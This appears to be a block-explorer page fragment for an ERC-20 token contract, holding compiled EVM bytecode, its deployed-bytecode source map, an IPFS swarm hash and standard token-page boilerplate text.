0815260056020526040902054610cf69084610dec565b6001600160a01b038087166000908152600560205260408082209390935590861681522054610d259083610dff565b6001600160a01b038516600090815260056020526040808220929092553081522054610d519082610dff565b3060009081526005602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6000806000610dd36064610dcd600d5487610e0b90919063ffffffff16565b90610e17565b90506000610de18583610dec565b959194509092505050565b6000610df882846110a7565b9392505050565b6000610df88284610fd1565b6000610df882846110ba565b6000610df882846110d1565b600060208083528351808285015260005b81811015610e5057858101830151858201604001528201610e34565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610e8657600080fd5b50565b60008060408385031215610e9c57600080fd5b8235610ea781610e71565b946020939093013593505050565b600080600060608486031215610eca57600080fd5b8335610ed581610e71565b92506020840135610ee581610e71565b929592945050506040919091013590565b600060208284031215610f0857600080fd5b8135610df881610e71565b60008060408385031215610f2657600080fd5b8235610f3181610e71565b91506020830135610f4181610e71565b809150509250929050565b600181811c90821680610f6057607f821691505b602082108103610f8057634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561035657610356610fbb565b600060ff821660ff8103610ffa57610ffa610fbb565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561102b57600080fd5b8151610df881610e71565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156110865784516001600160a01b031683529383019391830191600101611061565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561035657610356610fbb565b808202811582820484141761035657610356610fbb565b6000826110ee57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c1f712fae77a6e021f9cad7629eeb5561a289010c8e52c85f9c739d96be1f42064736f6c63430008130033

Deployed Bytecode Sourcemap

5064:7705:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6884:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8192:161;;;;;;;;;;-1:-1:-1;8192:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;8192:161:0;1023:187:1;7161:100:0;;;;;;;;;;-1:-1:-1;7241:12:0;;7161:100;;;1361:25:1;;;1349:2;1334:18;7161:100:0;1215:177:1;8361:313:0;;;;;;;;;;-1:-1:-1;8361:313:0;;;;;:::i;:::-;;:::i;7070:83::-;;;;;;;;;;-1:-1:-1;7136:9:0;;7070:83;;7136:9;;;;2000:36:1;;1988:2;1973:18;7070:83:0;1858:184:1;7985:199:0;;;;;;;;;;;;;:::i;:::-;;7269:117;;;;;;;;;;-1:-1:-1;7269:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;7362:16:0;7335:7;7362:16;;;:7;:16;;;;;;;7269:117;4609:148;;;;;;;;;;;;;:::i;4292:87::-;;;;;;;;;;-1:-1:-1;4338:7:0;4365:6;4292:87;;-1:-1:-1;;;;;4365:6:0;;;2445:51:1;;2433:2;2418:18;4292:87:0;2299:203:1;6975:87:0;;;;;;;;;;;;;:::i;10977:167::-;;;;;;;;;;-1:-1:-1;10977:167:0;;;;;:::i;:::-;;:::i;11152:143::-;;;;;;;;;;-1:-1:-1;11152:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;11260:18:0;;;11233:7;11260:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11152:143;4813:244;;;;;;;;;;-1:-1:-1;4813:244:0;;;;;:::i;:::-;;:::i;6884:83::-;6921:13;6954:5;6947:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6884:83;:::o;8192:161::-;8267:4;8284:39;3804:10;8307:7;8316:6;8284:8;:39::i;:::-;-1:-1:-1;8341:4:0;8192:161;;;;;:::o;8361:313::-;8459:4;8476:36;8486:6;8494:9;8505:6;8476:9;:36::i;:::-;8523:121;8532:6;3804:10;8554:89;8592:6;8554:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8554:19:0;;;;;;:11;:19;;;;;;;;3804:10;8554:33;;;;;;;;;;:37;:89::i;:::-;8523:8;:121::i;:::-;-1:-1:-1;8662:4:0;8361:313;;;;;:::o;7985:199::-;4338:7;4365:6;-1:-1:-1;;;;;4365:6:0;3804:10;4477:23;4469:68;;;;-1:-1:-1;;;4469:68:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;8042:10:0::1;:24:::0;8128:1:::1;8116:9;:13:::0;;;8140:7:::1;:11:::0;;;8163:8:::1;:12:::0;7985:199::o;4609:148::-;4338:7;4365:6;-1:-1:-1;;;;;4365:6:0;3804:10;4477:23;4469:68;;;;-1:-1:-1;;;4469:68:0;;;;;;;:::i;:::-;4716:1:::1;4700:6:::0;;4679:40:::1;::::0;-1:-1:-1;;;;;4700:6:0;;::::1;::::0;4679:40:::1;::::0;4716:1;;4679:40:::1;4747:1;4730:19:::0;;-1:-1:-1;;;;;;4730:19:0::1;::::0;;4609:148::o;6975:87::-;7014:13;7047:7;7040:14;;;;;:::i;10977:167::-;11055:4;11072:42;3804:10;11096:9;11107:6;11072:9;:42::i;4813:244::-;4338:7;4365:6;-1:-1:-1;;;;;4365:6:0;3804:10;4477:23;4469:68;;;;-1:-1:-1;;;4469:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4902:22:0;::::1;4894:73;;;::::0;-1:-1:-1;;;4894:73:0;;3848:2:1;4894:73:0::1;::::0;::::1;3830:21:1::0;3887:2;3867:18;;;3860:30;3926:34;3906:18;;;3899:62;-1:-1:-1;;;3977:18:1;;;3970:36;4023:19;;4894:73:0::1;3646:402:1::0;4894:73:0::1;5004:6;::::0;;4983:38:::1;::::0;-1:-1:-1;;;;;4983:38:0;;::::1;::::0;5004:6;::::1;::::0;4983:38:::1;::::0;::::1;5032:6;:17:::0;;-1:-1:-1;;;;;;5032:17:0::1;-1:-1:-1::0;;;;;5032:17:0;;;::::1;::::0;;;::::1;::::0;;4813:244::o;9178:262::-;-1:-1:-1;;;;;9271:19:0;;;;;;:44;;-1:-1:-1;;;;;;9294:21:0;;;;9271:44;9263:74;;;;-1:-1:-1;;;9263:74:0;;4255:2:1;9263:74:0;;;4237:21:1;4294:2;4274:18;;;4267:30;-1:-1:-1;;;4313:18:1;;;4306:47;4370:18;;9263:74:0;4053:341:1;9263:74:0;-1:-1:-1;;;;;9348:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9400:32;;1361:25:1;;;9400:32:0;;1334:18:1;9400:32:0;;;;;;;9178:262;;;:::o;9448:1521::-;4338:7;4365:6;-1:-1:-1;;;;;9566:13:0;;;4365:6;;9566:13;;;;:47;;-1:-1:-1;9602:11:0;;-1:-1:-1;;;;;9596:17:0;;;9602:11;;;;;9596:17;;9566:47;:83;;;;-1:-1:-1;;;;;;9630:19:0;;9644:4;9630:19;;9566:83;:120;;;;-1:-1:-1;9672:14:0;;-1:-1:-1;;;;;9666:20:0;;;9672:14;;9666:20;;9566:120;:147;;;;-1:-1:-1;9709:4:0;;-1:-1:-1;;;;;9703:10:0;;;9709:4;;9703:10;;9566:147;:179;;;;-1:-1:-1;4338:7:0;4365:6;-1:-1:-1;;;;;9730:15:0;;;4365:6;;9730:15;;9566:179;9562:358;;;-1:-1:-1;;;;;7362:16:0;;9763:19;7362:16;;;:7;:16;;;;;;9847:10;;9822:20;9836:6;7362:16;9822:20;:::i;:::-;9821:36;;9813:88;;;;-1:-1:-1;;;9813:88:0;;4863:2:1;9813:88:0;;;4845:21:1;4902:2;4882:18;;;4875:30;4941:34;4921:18;;;4914:62;-1:-1:-1;;;4992:18:1;;;4985:38;5040:19;;9813:88:0;4661:404:1;9813:88:0;9746:174;9562:358;-1:-1:-1;;;;;9940:18:0;;;;;;:38;;-1:-1:-1;;;;;;9962:16:0;;;;9940:38;9932:72;;;;-1:-1:-1;;;9932:72:0;;5272:2:1;9932:72:0;;;5254:21:1;5311:2;5291:18;;;5284:30;-1:-1:-1;;;5330:18:1;;;5323:51;5391:18;;9932:72:0;5070:345:1;9932:72:0;10032:1;10023:6;:10;10015:60;;;;-1:-1:-1;;;10015:60:0;;5622:2:1;10015:60:0;;;5604:21:1;5661:2;5641:18;;;5634:30;5700:34;5680:18;;;5673:62;-1:-1:-1;;;5751:18:1;;;5744:35;5796:19;;10015:60:0;5420:401:1;10015:60:0;10106:15;;;;;;;;10091:11;;:30;;;;:71;;;10148:14;;10139:6;:23;10091:71;:106;;;;-1:-1:-1;10180:17:0;;-1:-1:-1;;;10180:17:0;;;;10179:18;10091:106;:144;;;;-1:-1:-1;;;;;;10215:20:0;;;;;;:14;:20;;;;;;;;10214:21;10091:144;:181;;;;-1:-1:-1;10258:14:0;;-1:-1:-1;;;;;10252:20:0;;;10258:14;;10252:20;10091:181;:220;;;;-1:-1:-1;10289:22:0;;-1:-1:-1;;;10289:22:0;;;;10091:220;10088:462;;;10340:11;:15;;-1:-1:-1;;10340:15:0;;;10419:4;-1:-1:-1;7362:16:0;;;:7;:16;;;;;;10443:24;;10440:99;;10483:41;10503:20;10483:19;:41::i;:::-;10323:227;10088:462;-1:-1:-1;;;;;10615:20:0;;10570:13;10615:20;;;:14;:20;;;;;;10586:4;;10615:20;;;:42;;-1:-1:-1;;;;;;10639:18:0;;;;;;:14;:18;;;;;;;;10615:42;:94;;;-1:-1:-1;10670:14:0;;-1:-1:-1;;;;;10662:22:0;;;10670:14;;10662:22;;;;:46;;-1:-1:-1;10694:14:0;;-1:-1:-1;;;;;10688:20:0;;;10694:14;;10688:20;;10662:46;10612:298;;;-1:-1:-1;10736:5:0;10612:298;;;10771:14;;-1:-1:-1;;;;;10771:14:0;;;10763:22;;;;10759:151;;10813:7;;10801:9;:19;10759:151;;;10848:14;;-1:-1:-1;;;;;10848:14:0;;;10842:20;;;;10838:72;;10890:8;;10878:9;:20;10838:72;10922:39;10937:4;10942:2;10945:6;10952:8;10922:14;:39::i;:::-;9551:1418;9448:1521;;;:::o;1357:206::-;1443:7;1504:12;1496:6;;;;1488:29;;;;-1:-1:-1;;;1488:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1539:5:0;;;1357:206::o;11426:238::-;6276:17;:24;;-1:-1:-1;;;;6276:24:0;-1:-1:-1;;;6276:24:0;;;11516:35:::1;11530:20:::0;11516:13:::1;:35::i;:::-;11632:11;::::0;11584:21:::1;::::0;11616:40:::1;::::0;11632:11;;::::1;-1:-1:-1::0;;;;;11632:11:0::1;11584:21:::0;11616:15:::1;:40::i;:::-;-1:-1:-1::0;;6323:17:0;:25;;-1:-1:-1;;;;6323:25:0;;;11426:238::o;12400:366::-;12526:8;12522:115;;12550:17;:15;:17::i;:::-;12522:115;;;12608:11;:13;;;;;:11;:13;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;12522:115;12647:45;12666:6;12674:9;12685:6;12647:18;:45::i;:::-;12717:8;12713:45;;12740:18;9081:13;;9069:9;:25;9115:11;;9105:7;:21;9149:12;;9138:8;:23;9022:148;11672:472;11759:16;;;11773:1;11759:16;;;;;;;;11735:21;;11759:16;;;;;;;;;;-1:-1:-1;11759:16:0;11735:40;;11804:4;11786;11791:1;11786:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11786:23:0;;;:7;;;;;;;;;;:23;;;;11830:16;;:23;;;-1:-1:-1;;;11830:23:0;;;;:16;;;;;:21;;:23;;;;;11786:7;;11830:23;;;;;:16;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11820:4;11825:1;11820:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11820:33:0;;;:7;;;;;;;;;:33;11896:16;;11864:63;;11881:4;;11896:16;11915:11;11864:8;:63::i;:::-;11938:16;;:198;;-1:-1:-1;;;11938:198:0;;-1:-1:-1;;;;;11938:16:0;;;;:67;;:198;;12020:11;;11938:16;;12063:4;;12090;;12110:15;;11938:198;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11724:420;11672:472;:::o;11303:115::-;11387:23;;-1:-1:-1;;;;;11387:15:0;;;:23;;;;;11403:6;;11387:23;;;;11403:6;11387:15;:23;;;;;;;;;;;;;;;;;;;;;11303:115;;:::o;8723:287::-;8772:9;;:14;:30;;;;-1:-1:-1;8790:7:0;;:12;8772:30;:47;;;;-1:-1:-1;8806:8:0;;:13;8772:47;8769:59;;;8723:287::o;8769:59::-;8854:7;;;8840:11;:21;8888:8;;;8873:12;:23;8924:9;;;8908:13;:25;-1:-1:-1;8944:11:0;;;;8966:12;;;;8989:13;8723:287::o;7394:583::-;7504:23;7529:12;7545:22;7559:7;7545:13;:22::i;:::-;-1:-1:-1;;;;;7581:22:0;;;;;;:14;:22;;;;;;7503:64;;-1:-1:-1;7503:64:0;-1:-1:-1;7581:22:0;;:55;;;;-1:-1:-1;7626:10:0;;-1:-1:-1;;;;;7607:15:0;;;;;;:7;:15;;;;;;:29;;7581:55;7578:136;;;-1:-1:-1;7660:1:0;7676:26;7687:15;7676:26;;:::i;:::-;;;7578:136;-1:-1:-1;;;;;7742:15:0;;;;;;:7;:15;;;;;;:28;;7762:7;7742:19;:28::i;:::-;-1:-1:-1;;;;;7724:15:0;;;;;;;:7;:15;;;;;;:46;;;;7802:18;;;;;;;:39;;7825:15;7802:22;:39::i;:::-;-1:-1:-1;;;;;7781:18:0;;;;;;:7;:18;;;;;;:60;;;;7893:4;7877:22;;;;:32;;7904:4;7877:26;:32::i;:::-;7868:4;7852:22;;;;:7;:22;;;;;;;;;:57;;;;7925:44;1361:25:1;;;-1:-1:-1;;;;;7925:44:0;;;;;;;;;;1334:18:1;7925:44:0;;;;;;;7482:495;;7394:583;;;:::o;12152:240::-;12214:7;12223;12243:12;12258:31;12285:3;12258:22;12270:9;;12258:7;:11;;:22;;;;:::i;:::-;:26;;:31::i;:::-;12243:46;-1:-1:-1;12300:23:0;12326:17;:7;12243:46;12326:11;:17::i;:::-;12300:43;12379:4;;-1:-1:-1;12152:240:0;;-1:-1:-1;;;12152:240:0:o;1035:98::-;1093:7;1120:5;1124:1;1120;:5;:::i;:::-;1113:12;1035:98;-1:-1:-1;;;1035:98:0:o;929:::-;987:7;1014:5;1018:1;1014;:5;:::i;1141:98::-;1199:7;1226:5;1230:1;1226;:5;:::i;1251:98::-;1309:7;1336:5;1340:1;1336;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:380::-;2979:1;2975:12;;;;3022;;;3043:61;;3097:4;3089:6;3085:17;3075:27;;3043:61;3150:2;3142:6;3139:14;3119:18;3116:38;3113:161;;3196:10;3191:3;3187:20;3184:1;3177:31;3231:4;3228:1;3221:15;3259:4;3256:1;3249:15;3113:161;;2900:380;;;:::o;3285:356::-;3487:2;3469:21;;;3506:18;;;3499:30;3565:34;3560:2;3545:18;;3538:62;3632:2;3617:18;;3285:356::o;4399:127::-;4460:10;4455:3;4451:20;4448:1;4441:31;4491:4;4488:1;4481:15;4515:4;4512:1;4505:15;4531:125;4596:9;;;4617:10;;;4614:36;;;4630:18;;:::i;5826:175::-;5863:3;5907:4;5900:5;5896:16;5936:4;5927:7;5924:17;5921:43;;5944:18;;:::i;:::-;5993:1;5980:15;;5826:175;-1:-1:-1;;5826:175:1:o;6138:127::-;6199:10;6194:3;6190:20;6187:1;6180:31;6230:4;6227:1;6220:15;6254:4;6251:1;6244:15;6270:251;6340:6;6393:2;6381:9;6372:7;6368:23;6364:32;6361:52;;;6409:1;6406;6399:12;6361:52;6441:9;6435:16;6460:31;6485:5;6460:31;:::i;6526:980::-;6788:4;6836:3;6825:9;6821:19;6867:6;6856:9;6849:25;6893:2;6931:6;6926:2;6915:9;6911:18;6904:34;6974:3;6969:2;6958:9;6954:18;6947:31;6998:6;7033;7027:13;7064:6;7056;7049:22;7102:3;7091:9;7087:19;7080:26;;7141:2;7133:6;7129:15;7115:29;;7162:1;7172:195;7186:6;7183:1;7180:13;7172:195;;;7251:13;;-1:-1:-1;;;;;7247:39:1;7235:52;;7342:15;;;;7307:12;;;;7283:1;7201:9;7172:195;;;-1:-1:-1;;;;;;;7423:32:1;;;;7418:2;7403:18;;7396:60;-1:-1:-1;;;7487:3:1;7472:19;7465:35;7384:3;6526:980;-1:-1:-1;;;6526:980:1:o;7511:128::-;7578:9;;;7599:11;;;7596:37;;;7613:18;;:::i;7644:168::-;7717:9;;;7748;;7765:15;;;7759:22;;7745:37;7735:71;;7786:18;;:::i;7817:217::-;7857:1;7883;7873:132;;7927:10;7922:3;7918:20;7915:1;7908:31;7962:4;7959:1;7952:15;7990:4;7987:1;7980:15;7873:132;-1:-1:-1;8019:9:1;;7817:217::o

Swarm Source

ipfs://c1f712fae77a6e021f9cad7629eeb5561a289010c8e52c85f9c739d96be1f420
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.